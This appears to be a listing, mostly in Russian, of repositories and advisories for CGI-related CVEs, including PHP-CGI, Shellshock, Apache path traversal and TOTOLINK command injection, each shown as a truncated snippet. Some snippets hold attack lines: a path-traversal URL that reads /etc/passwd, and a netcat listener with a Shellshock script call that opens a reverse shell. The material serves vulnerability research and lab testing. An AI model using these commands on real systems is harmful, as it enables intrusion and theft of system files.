Vulnerability-Assessment-and-OSINT-CVE-2012-1823

Оценка уязвимостей и OSINT: CVE-2012-1823 Мой репозиторий документирует процесс выявления, анализа и сбора разведывательных данных из открытых источников OSINT по конкретной уязвимости безопасности, обнаруженной при сканировании целевой сети. Обзор процесса Рабочий процесс, выполненный в рамках...

CVE-2025-12101-checker

CVE-2025-12101-checker Простой Python PoC для проверки экземпляров Citrix NetScaler ADC / Gateway на CVE-2025-12101 отраженный XSS на /cgi/logout с использованием специально сформированной полезной нагрузки SAMLResponse + RelayState. ⚠️ Используйте этот инструмент только на системах, которыми вы...

CVE-2026-103436

A flaw was found in apcupsd. This vulnerability allows a remote attacker to cause an information disclosure when querying Common Gateway Interface CGI monitoring scripts. When processing status lines with fewer data tokens than expected, the parsing logic fails to populate a destination buffer...

Preproduce-CVE-2019-0232

CVE-2019-0232 - Удаленное выполнение кода через CGI-сервлет Apache Tomcat Этот репозиторий предоставляет лабораторную среду на основе Docker для воспроизведения уязвимости CVE-2019-0232 в Apache Tomcat 9.0.17 на Windows. Обзор уязвимости CVE-2019-0232 — это уязвимость удаленного выполнения кода в...

PHP-CGI-INTERNAL-RCE

PHP-CGI-INTERNAL-RCE Эта PoC демонстрирует, как злоумышленник может объединить Orange Tsai's CVE-2024-4577 с DNS-ребндингом для достижения удаленного выполнения кода на внутренней сетевой инфраструктуре непосредственно через веб-браузер жертвы. Обходя Same-Origin Policy SOP и эксплуатируя уязвимы...

CVE-2024-4577

CVE-2024-4577: Критическая уязвимость в CGI-конфигурациях PHP Серьёзная уязвимость безопасности существует в CGI-режиме PHP, которая позволяет злоумышленникам выполнять произвольные команды, манипулируя параметрами URL. Затронутые версии Версии PHP до 7.4.29 и 8.0.19 на Windows, работающие с...

CVE-2026-105484

A security vulnerability has been detected in TOTOLINK X6000R 9.4.0cu.652B20230116. The impacted element is the function firmwarecheck of the file /cgi-bin/cstecgi.cgi of the component UploadFirmwareFile Handler. Such manipulation of the argument filename leads to os command injection. The attack...

EUVD-2026-92908

A security vulnerability has been detected in TOTOLINK X6000R 9.4.0cu.652B20230116. The impacted element is the function firmwarecheck of the file /cgi-bin/cstecgi.cgi of the component UploadFirmwareFile Handler. Such manipulation of the argument filename leads to os command injection. The attack...

PT-2026-106300

Name of the Vulnerable Software and Affected Versions TOTOLINK X6000R version 9.4.0cu.652 B20230116 Description An OS command injection flaw exists in the UploadFirmwareFile Handler component. A remote, unauthenticated attacker can exploit this by manipulating the file name parameter within the...

shellshock-shell

shellshock-shell Простой эксплойт на Python в стиле shell для ошибки Shellschok CVE-2014-6271. Используйте его для эксплуатации известных уязвимых URL-адресов. Этот инструмент может использоваться только на ваших собственных авторизованных URL-адресах. Автор этого инструмента не несёт...

CVE-2019-19945_Test

CVE-2019-19945Тест Это код для первого предложенного CVE 1. Установите Docker 2. Соберите и запустите сервер cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve 3. Получите IP контейнера сервера Linux sudo docker container inspect server | grep -i IPAddress...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE Описание проекта и принцип работы Первая в мире эксплойт для CVE-2024-4577 PHP-CGI RCE, использующая стандартную среду PHP XAMPP. The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF...

CVE-2021-41773-Apache-2.4.49-

CVE-2021-41773-Apache-2.4.49- Тестирование на проникновение 1.1. Path Traversal Чтение файла /etc/passwd !/bin/bash Script: exploitpathtraversal.sh Mục tiêu: Đọc tệp /etc/passwd từ Apache 2.4.49 TARGETIP="128.0.0.100" URL="http://$TARGETIP/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" echo "+ Kha...

Apache-CVE-2021-41773

CVE-2021-41773 Apache HTTP Server Path Traversal Участники Ли Хи Су @lheeeesoo Apache HTTP Server 2.4.49 содержит уязвимость: в процессе нормализации URL-путей сервер не блокирует должным образом закодированные пути верхнего уровня. Используя такие значения, как .%2e, атакующий может выйти за...

CVE-2025-64446-FortiWeb-CGI-Bypass-PoC

CVE-2025-64446 Exploit Tool Инструмент эксплуатации для проверки и использования уязвимости CVE-2025-64446 в устройствах FortiWeb. Описание Этот инструмент проверяет и эксплуатирует уязвимость обхода пути path traversal CVE-2025-64446 в межсетевых экранах веб-приложений FortiWeb. Его можно...

cve-2024-4577-lab

Схема окружения Контейнер операционной системы: ubuntu:22.04 работает под Windows WSL2. Слой веб-сервера: Apache2 с modactions, modcgi и modcgid, принудительно включенными глобально в основной apache2.conf. Интерпретатор языка: PHP 8.1.2, работающий строго в режиме CGI/FastCGI Server API...

cve-2021-41773-and-cve-2021-42013

cve-2021-41773 и cve-2021-42073 cve-2021-41773 и cve-2021-42073 — массовый скрипт проверки на Python Среда выполнения: python3 Использование: python3 poc.py url.txt В url.txt помещаются URL-адреса для проверки. URL-адреса, содержащие уязвимость, записываются в success.txt Проверка довольно проста...

CVE-2021-41773

CVE-2021-41773 실습 환경 이것은 Debian Bookworm 기반의 컨테이너에 CVE-2021-41773에 취약한 Apache HTTPd 2.4.49 인스턴스를 설정하기 위한 작은 Docker 레시피입니다. CGI가 명시적으로 활성화되어 있어 로컬 파일 노출 동작 및 원격 명령 실행 동작을 테스트/검증하는 데 사용할 수 있습니다. 사용법 $ docker-compose build && docker-compose-up 로컬 파일 노출 $ curl -s --path-as-is...

CVE-2022-21587-Oracle-EBS-

Предварительные требования для запуска этого эксплойта: python3, включая модули requests, os, sys, slipit uuencode Перед запуском убедитесь, что используете его только в этических целях. Если эксплойт не запускается: Убедитесь, что вы уже установили предварительно требуемые модули. Установка...

CVE-2014-6271

CVE-2014-6271 python2.7 Начните прослушивание на вашей машине. nc -l -p 4444 Запустите python-скрипт по следующему правилу: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Наслаждайтесь...